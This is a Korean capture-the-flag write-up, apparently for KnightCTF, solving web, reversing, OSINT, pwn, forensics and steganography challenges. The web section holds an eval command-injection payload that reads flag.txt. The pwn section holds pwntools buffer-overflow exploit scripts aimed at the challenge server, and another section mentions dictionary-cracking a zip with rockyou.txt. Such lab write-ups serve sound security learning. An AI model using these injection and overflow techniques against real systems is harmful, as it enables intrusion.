Solve
WEB
Sometime you need to look wayback (25pts)
들어가면 다음과 같은 웹페이지가 표시된다.
개발자 모드로 들어가면 다음과 같이 Test Bot Source Code: 깃허브링크
가 나온다.
commit 히스토리를 보면 다음과 같이 플래그가 있었다.
Do Something Special (50pts)
접속하면 다음과 같은 화면이 나온다.
Get the flag! 버튼을 누르면 다음과 같이 에러 화면이 나오게 된다.
주소창을 자세히 보면 #이 들어가 있는 것을 확인할 수 있는데 #은 뒤에 오는 값을 fragment id로 취급하기 때문에 정상적인 문자열로 인식이 되지 않아 발생한 에러라는 것을 알 수 있다.
따라서 다음과 같이 URL encoding을 거쳐 값을 보내어주면 플래그를 획득할 수 있다.
Obsfuscation Isn't Enough (50pts)
접속하면 다음과 같은 로그인 패널이 뜬다.
소스 코드로 보면 누가봐도 jsfuck처럼 생긴 문자열들이 존재한다.
디코딩하면 다음과 같이 읽을 수 있는 javascript 구문이 나오고 올바른 username.value
와 password.value
를 획득할 수 있다.
해당 값들을 가지고 로그인을 시도해봤으나 아무 반응이 없어 뒤에 document.location에 있는 randomvalue.php
에 직접 접속을 시도하여 플래그를 획득하였다.
Zero is not the limit (50pts)
접속시 다음 화면을 볼 수 있다.
문제를 풀 때 게싱이 많아서 많이 힘들었는데 해당 문제는 안그래도 문의가 많았는지 디코방에 /user
경로를 잘 살펴보라는 힌트가 주어져 다음과 같이 접속했을 때 Jhon의 대한 정보를 획득할 수 있었다.
문제이름이 Zero is not limit 였기 때문에 -1을 넣었더니 플래그가 나왔다.
Most Secure Calculator - 1 (50pts)
접속하면 다음과 같은 계산기 페이지가 나온다.
문자열을 집어넣으면 다음과 같이 eval()
에러가 출력된다.
따라서 system(”cat flag.txt”)
를 넣으면 플래그를 읽을 수 있다.
Reverse Engineering
The Flag Vault (25pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+6h] [rbp-6Ah] BYREF
__int16 v5; // [rsp+8h] [rbp-68h] BYREF
__int16 v6; // [rsp+Ah] [rbp-66h] BYREF
__int16 v7; // [rsp+Ch] [rbp-64h] BYREF
__int16 v8; // [rsp+Eh] [rbp-62h] BYREF
__int16 v9; // [rsp+10h] [rbp-60h] BYREF
__int16 v10; // [rsp+12h] [rbp-5Eh] BYREF
__int16 v11; // [rsp+14h] [rbp-5Ch] BYREF
__int16 v12; // [rsp+16h] [rbp-5Ah] BYREF
__int16 v13; // [rsp+18h] [rbp-58h] BYREF
__int16 v14; // [rsp+1Ah] [rbp-56h] BYREF
__int16 v15; // [rsp+1Ch] [rbp-54h] BYREF
__int16 v16; // [rsp+1Eh] [rbp-52h] BYREF
__int16 v17; // [rsp+20h] [rbp-50h] BYREF
__int16 v18; // [rsp+22h] [rbp-4Eh] BYREF
__int16 v19; // [rsp+24h] [rbp-4Ch] BYREF
__int16 v20; // [rsp+26h] [rbp-4Ah] BYREF
__int16 v21; // [rsp+28h] [rbp-48h] BYREF
__int16 v22; // [rsp+2Ah] [rbp-46h] BYREF
__int16 v23; // [rsp+2Ch] [rbp-44h] BYREF
__int16 v24; // [rsp+2Eh] [rbp-42h] BYREF
char s2[32]; // [rsp+30h] [rbp-40h] BYREF
char s1[24]; // [rsp+50h] [rbp-20h] BYREF
unsigned __int64 v27; // [rsp+68h] [rbp-8h]
v27 = __readfsqword(0x28u);
v4 = 'K';
v5 = '}';
v6 = 'w';
v7 = 'c';
v8 = '0';
v9 = 'T';
v10 = 'F';
v11 = 'C';
v12 = '_';
v13 = 'm';
v14 = 't';
v15 = 'r';
v16 = 'v';
v17 = 's';
v18 = '{';
v19 = 'n';
v20 = '3';
v21 = 'e';
v22 = 'g';
v23 = 'l';
v24 = 'i';
strcpy(s1, "abracadabrahahaha");
printf("\nHi there!\n\nPlease enter the password to unlock the flag vault: ");
__isoc99_scanf("%s", s2);
if ( !strcmp(s1, s2) )
{
puts("\nCongratulations! Here is your flag:\n");
printf(
"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n\n",
&v4,
&v11,
&v9,
&v10,
&v18,
&v6,
&v21,
&v23,
&v7,
&v8,
&v13,
&v21,
&v12,
&v14,
&v8,
&v12,
&v15,
&v21,
&v16,
&v21,
&v15,
&v17,
&v21,
&v12,
&v20,
&v19,
&v22,
&v24,
&v19,
&v21,
&v21,
&v15,
&v24,
&v19,
&v22,
&v5);
}
else
{
puts(
"\n"
"Sorry!\n"
"\n"
"You have entered a wrong password! \n"
"\n"
"Please try with a valid one!\n"
"\n"
"If you don't have the password, you can buy that here at https://knightsquad.org");
}
return 0;
}
- 입력한 문자열과
abracadabrahahaha
를 비교한 뒤 같으면 flag를 출력해준다. - v4 ~ v24까지를 전부다 %s에 대입하여 flag를 획득해도 됨
The Encoder (50pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char s[52]; // [rsp+0h] [rbp-40h] BYREF
int v6; // [rsp+34h] [rbp-Ch]
int v7; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]
v7 = 1337;
v6 = 0;
puts("Welcome to the encoder");
puts("Please give me a plain text of max 40 characters");
fgets(s, 40, _bss_start);
for ( i = 0; ; ++i )
{
v3 = countChar(s);
if ( i >= v3 )
break;
v6 = s[i];
printf("%d ", (v6 + v7));
}
return 0;
}
입력한 문자열의 ascii코드에 1337을 더해 반환하는 encoder
반대로 1337을 빼주면 플래그를 획득할 수 있다.
data = "1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462"
enc = data.split(" ")
for i in enc:
print(chr(int(i) - 1337), end="")
Baby Shark (50pts)
jar decompiler를 통해 String.class를 보면 base64 encoding된 문자열들이 보인다.
맨 아래 인코딩문을 디코딩으로 돌리면 플래그를 획득할 수 있다.
Flag Checker (100pts)
이번에는 좀 무식한 방법을 이용하여 문제를 해결하였다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[512]; // [rsp+0h] [rbp-240h] BYREF
char v5[51]; // [rsp+200h] [rbp-40h] BYREF
char v6; // [rsp+233h] [rbp-Dh]
int v7; // [rsp+234h] [rbp-Ch]
int j; // [rsp+238h] [rbp-8h]
int i; // [rsp+23Ch] [rbp-4h]
strcpy(v5, "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]");
printf("Give me a flag : ");
__isoc99_scanf("%s", v4);
for ( i = 0; v4[i]; ++i )
{
if ( v4[i] <= 64 || v4[i] > 90 )
{
if ( v4[i] <= 96 || v4[i] > 122 )
v4[i] = v4[i];
else
v4[i] = -37 - v4[i];
}
else
{
v4[i] = -101 - v4[i];
}
}
for ( j = 0; v4[j]; ++j )
v4[j] -= 32;
v7 = 0;
v6 = 0;
while ( v5[v7] )
{
if ( v5[v7] != v4[v7] )
{
v6 = 0;
break;
}
v6 = 1;
++v7;
}
if ( v6 )
puts("You have entered the right flag.");
else
puts("Sorry ! Its wrong flag.");
return 0;
}
몇번 동적 분석을 진행하다보니 눈에 띄는 규칙성이 보여 그냥 그대로 딕셔너리로 박아주었다.
match = {
"}" : 0x5d,
"{" : 0x5b,
"a" : 0x5a,
"b" : 0x59,
"c" : 0x58,
"d" : 0x57,
"e" : 0x56,
"f" : 0x55,
"g" : 0x54,
"h" : 0x53,
"i" : 0x52,
"j" : 0x51,
"k" : 0x50,
"l" : 0x4f,
"m" : 0x4e,
"n" : 0x4d,
"o" : 0x4c,
"p" : 0x4b,
"q" : 0x4a,
"r" : 0x49,
"s" : 0x48,
"t" : 0x47,
"u" : 0x46,
"v" : 0x45,
"w" : 0x44,
"x" : 0x43,
"y" : 0x42,
"z" : 0x41,
"_" : 0x3f,
"A" : 0x3a,
"B" : 0x39,
"C" : 0x38,
"D" : 0x37,
"E" : 0x36,
"F" : 0x35,
"G" : 0x34,
"H" : 0x33,
"I" : 0x32,
"J" : 0x31,
"K" : 0x30,
"L" : 0x2f,
"M" : 0x2e,
"N" : 0x2d,
"O" : 0x2c,
"P" : 0x2b,
"Q" : 0x2a,
"R" : 0x29,
"S" : 0x28,
"T" : 0x27,
"U" : 0x26,
"V" : 0x25,
"W" : 0x24,
"X" : 0x23,
"Y" : 0x22,
"Z" : 0x21,
}
data = "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"
reverse_match = dict(map(reversed, match.items()))
# print(reverse_match)
for i in data:
# print(ord(i))
print(reverse_match[ord(i)], end='')
'''
KCTF{aTbAsH...
'''
Knight Vault (100pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Bh] [rbp-435h]
int i; // [rsp+Ch] [rbp-434h]
int v6; // [rsp+Ch] [rbp-434h]
char v7[48]; // [rsp+10h] [rbp-430h] BYREF
char v8[1016]; // [rsp+40h] [rbp-400h] BYREF
unsigned __int64 v9; // [rsp+438h] [rbp-8h]
v9 = __readfsqword(0x28u);
strcpy(v7, "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s");
puts("Hello There..\nWelcome to KS Vault.");
printf("Please enter vault password : ");
__isoc99_scanf("%s", v8);
for ( i = 0; v8[i]; ++i )
{
v8[i + 512] = v8[i] - 10;
if ( v8[i + 512] == 65 )
v8[i + 512] = 42;
}
v6 = 0;
v4 = 0;
while ( v7[v6] )
{
if ( v7[v6] != v8[v6 + 512] )
{
v4 = 0;
break;
}
v4 = 1;
++v6;
}
if ( v4 )
win();
else
puts("Wrong password !");
return 0;
}
data = "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s"
datalist = [i for i in data]
for i in range(len(datalist)):
if ord(datalist[i]) == 42:
datalist[i] = chr(65)
datalist[i] = chr(ord(datalist[i]) + 10)
print(''.join(datalist))
값이 65일 때 42로 변경해주고 그 외에 경우에는 -10을 해주는 연산이어서 그 반대의 코드를 짜서 해결해주었다.
Knight Switch Bank (200pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[512]; // [rsp+0h] [rbp-430h]
char v5[512]; // [rsp+200h] [rbp-230h] BYREF
char v6[32]; // [rsp+400h] [rbp-30h] BYREF
int i; // [rsp+420h] [rbp-10h]
char v8; // [rsp+427h] [rbp-9h]
int v9; // [rsp+428h] [rbp-8h]
int v10; // [rsp+42Ch] [rbp-4h]
strcpy(v6, "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_");
v10 = 0;
v9 = 0;
puts("-------------------------------------");
puts("\tKnight Switch Bank");
puts("--------------------------------------");
puts("Welcome to Knight Switch Bank....");
printf("Please enter your password : ");
__isoc99_scanf("%s", v5);
while ( v5[v10] )
{
if ( v5[v10] <= 64 || v5[v10] > 77 )
{
if ( v5[v10] <= 96 || v5[v10] > 109 )
{
if ( v5[v10] <= 77 || v5[v10] > 90 )
{
if ( v5[v10] <= 109 || v5[v10] > 122 )
v4[v10] = v5[v10] - 32;
else
v4[v10] = v5[v10] - 13;
}
else
{
v4[v10] = v5[v10] - 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
++v10;
}
while ( v4[v9] )
v4[v9++] += 2;
v8 = 0;
for ( i = 0; v6[i]; ++i )
{
if ( v6[i] != v4[i] )
{
v8 = 0;
break;
}
v8 = 1;
}
if ( v8 )
winner();
else
puts("Oh My God ! You entered a wrong password.");
return 0;
}
data = "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_"
datalist = [ord(i) - 2 for i in data]
# print(datalist)
for i in range(len(datalist)):
if not (datalist[i] - 13 <= 64 or datalist[i] - 13 > 77): print(chr(datalist[i] - 13), end='')
elif not (datalist[i] - 13 <= 96 or datalist[i] - 13 > 109): print(chr(datalist[i] - 13), end='')
elif not (datalist[i] + 13 <= 77 or datalist[i] + 13 > 90): print(chr(datalist[i] + 13), end='')
elif not(datalist[i] + 13 <= 109 or datalist[i] + 13 > 122): print(chr(datalist[i] - 13), end='')
else: print(chr(datalist[i] + 32), end='')
OSINT
Canada Server (50pts)
KCTF{192.99.167.83}
Explosion In Front Of Bank Of Spain (100pts)
문제 이미지이다.
이미지 검색을 통해 영화 종이의 집의 한 장면이라는 것을 알 수 있었다. 또한, 추가적인 검색을 통해 파트 3, 4의 스페인 은행은 'New Ministries'라고 알려져 있는 정부 건물을 이용했다는 것을 알게 되었다.
New Ministries를 스페인어로 하면 Nuevos Ministerios가 되며 해당 위치를 구글 맵으로 찾아보았다.
구글 맵에서 해당 사진과 유사한 사진을 쭉 훑어보던 도중 유사한 사진을 발견하여 해당 url에 등록된 좌표를 플래그로 넘겨주었더니 인증되었다.
Find The Camera (100pts)
문제 이미지이다.
이미지 검색과 함께 키워드로 camera를 주면 결과가 딱 하나 나오게 된다.
해당 사이트에 접속하면 플래그 인증에 필요한 정보를 모두 획득할 수 있다.
PWN
What's Your Name (50pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[60]; // [rsp+0h] [rbp-40h] BYREF
int v5; // [rsp+3Ch] [rbp-4h]
v5 = 0x64;
printf("What's your name ? ");
fflush(_bss_start);
gets(v4, argv);
printf("Welcome %s \n", v4);
fflush(_bss_start);
if ( v5 != 0x64 )
system("cat /home/hacker/flag.txt");
return 0;
}
단순하게 v4에 입력받는 부분에서 bof를 일으켜 v5변수를 0x64가 아닌 다른 값으로 덮어주기만 하면 되는 문제이다.
from pwn import *
payload = b'A' * 0x41
# p = process("./whats_your_name")
p = remote("159.223.166.39", 9007)
p.sendlineafter(b"name ? ", payload)
p.interactive()
Hackers Vault (100pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[2]; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+8h] [rbp-8h]
int v6; // [rsp+Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Welcome to Hackers Vault...");
printf("Please enter your pass code : ");
v6 = 0;
v5 = 0;
__isoc99_scanf("%d", v4);
while ( v4[0] )
{
v4[1] = v4[0] % 10;
v5 += v4[0] % 10;
++v6;
v4[0] /= 10;
}
if ( v5 == 48 )
{
puts("\n");
puts("Welcome to your vault...");
puts("Your Secret : ");
system("cat /home/hacker/flag.txt");
}
else
{
puts("Wrong pass code");
}
return 0;
}
cnt = 1
while(cnt):
print(f"trying {cnt}")
v4 = cnt
v5 = 0
while(v4):
v5 += int(v4 % 10)
v4 /= 10
if v5 == 48:
print(f"result : {cnt}")
break
else:
print(f"error : {v5}")
cnt += 1
C와 같은 동작을 하는 python코드를 짜 Secret값을 알아냈다.
nc 접속을 한 이후 Secret값인 399999를 입력해주면 flag를 획득할 수 있다.
What's Your Name 2 (100pts)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[208]; // [rsp+0h] [rbp-120h] BYREF
char dest[72]; // [rsp+D0h] [rbp-50h] BYREF
int v6; // [rsp+118h] [rbp-8h]
int v7; // [rsp+11Ch] [rbp-4h]
v6 = 0;
v7 = 0;
printf("What's your name ? ");
fflush(_bss_start);
fgets(s, 200, stdin);
strcpy(dest, s);
if ( v7 == 1413825868 && v6 == 1397445710 )
{
printf("I liked your name and you got enough money :D");
system("cat /home/hacker/flag.txt");
}
else
{
printf("Sorry ! I didn't like your name and you don't have enough money. Come one earn some money.");
}
return 0;
}
s 버퍼에 입력을 받을 때는 길이값에 제한이 있지만 strcpy를 통해 dest로 옮겨갈때는 길이값 검증이 존재하지 않는다. 해당 취약점을 이용해 v7, v6를 덮으면 플래그를 획득할 수 있다.
from pwn import *
payload = b'A' * (80 - 8)
payload += p32(0x534B544E)
payload += p32(0x5445454C)
# p = process('./whats_your_name_two')
p = remote('159.223.166.39', 9008)
# sleep(10)
p.sendlineafter(b'name ? ', payload)
p.interactive()
놀랍게도 포너블은 이 3문제밖에 나오지 않았다...
Programming
Keep Calculating (25pts)
pseudo code를 실제 코드로 작성하는 방식의 문제들이었다.
'''
Let x = 1
Let y = 2
Let answer += (x * y) + xy [here xy = 12]
Repeat this calculation till you have x = 666
The final answer will be the flag when x = 666
'''
y = 2
result = 0
for i in range(1,667):
result += (i * y) + int(str(i) + str(y))
print(result)
결과값은 2666664 이다.
MISC
Broken Datasheet (100pts)
엑셀로 열어서 Ctrl+F
를 이용해 KCTF 문자열을 검색해 찾았다.
(플래그를 읽어보면 zip이 들어간걸로 보아 압축해제하고 구성 파일들을 살펴봄으로 플래그를 획득하는 방향을 기획한 것 같은데 실제로 문제풀 때 30분동안 zip으로 해제하고 아무리 찾아봐도 플래그를 찾을 수 없었다...)
Unzip Me (100pts)
문제로 받은 tar.gz 압축파일을 압축해제하면 unzipme 파일을 준다.
unzipme 파일을 010editor로 열어보면 다음과 같이 압축파일이 2바이트씩 앞뒤가 바뀌어있는 것을 확인할 수 있다.
data1 = ''
data2 = ''
with open("unzipme", "rb") as f:
data = f.read()
for i in range(len(data)):
if i % 2 == 0:
data1 += chr(data[i])
else:
data2 += chr(data[i])
for i in range(len(data1)):
print(data2[i] + data1[i], end='')
다음과 같이 코드를 짜면 플래그를 읽을 수 있다.
Steganography
Follow The White Rabbit (25pts)
stegsolve 툴을 이용해 다음과 같은 이미지를 획득할 수 있다.
아래 모스부호로 보이는 부호가 보이기 때문에 모스부호 디코더를 이용하여 디코딩하면 플래그를 획득할 수 있다.
Digital Forensics
Unknown File (50pts)
다운 받은 파일을 010editor로 열어보면 IHDR
, sRGB
, pHYs
등 PNG파일을 구성하는 요소들이 보인다. 반면, PNG 헤더 시그니처인 89504E47 0D0A1A0A
중 뒷부분인 0D0A1A0A
밖에 존재하지 않기 때문에 89504E47
로 앞 4바이트를 바꾸어주고 사진을 열면 플래그를 획득할 수 있다.
Let’s Walk Together (50pts)
문제 사진을 보면 binwalk에서 제공해주는 엔트로피 그래프가 있다. binwalk를 사용하길 의도하는 문제같다.
binwalk와 비슷하게 시그니처를 기반으로 파일을 카빙해주는 툴인 foremost를 이용해 파일을 카빙하면 압축파일이 나온다.
압축파일에는 비밀번호가 걸려있다.
이 압축파일을 풀 때 아무런 힌트도 없어서 좀 힘들었는데 딕셔너리 어택에 가장 많이 사용되는 rockyou.txt를 이용해 압축파일을 해제하면 된다.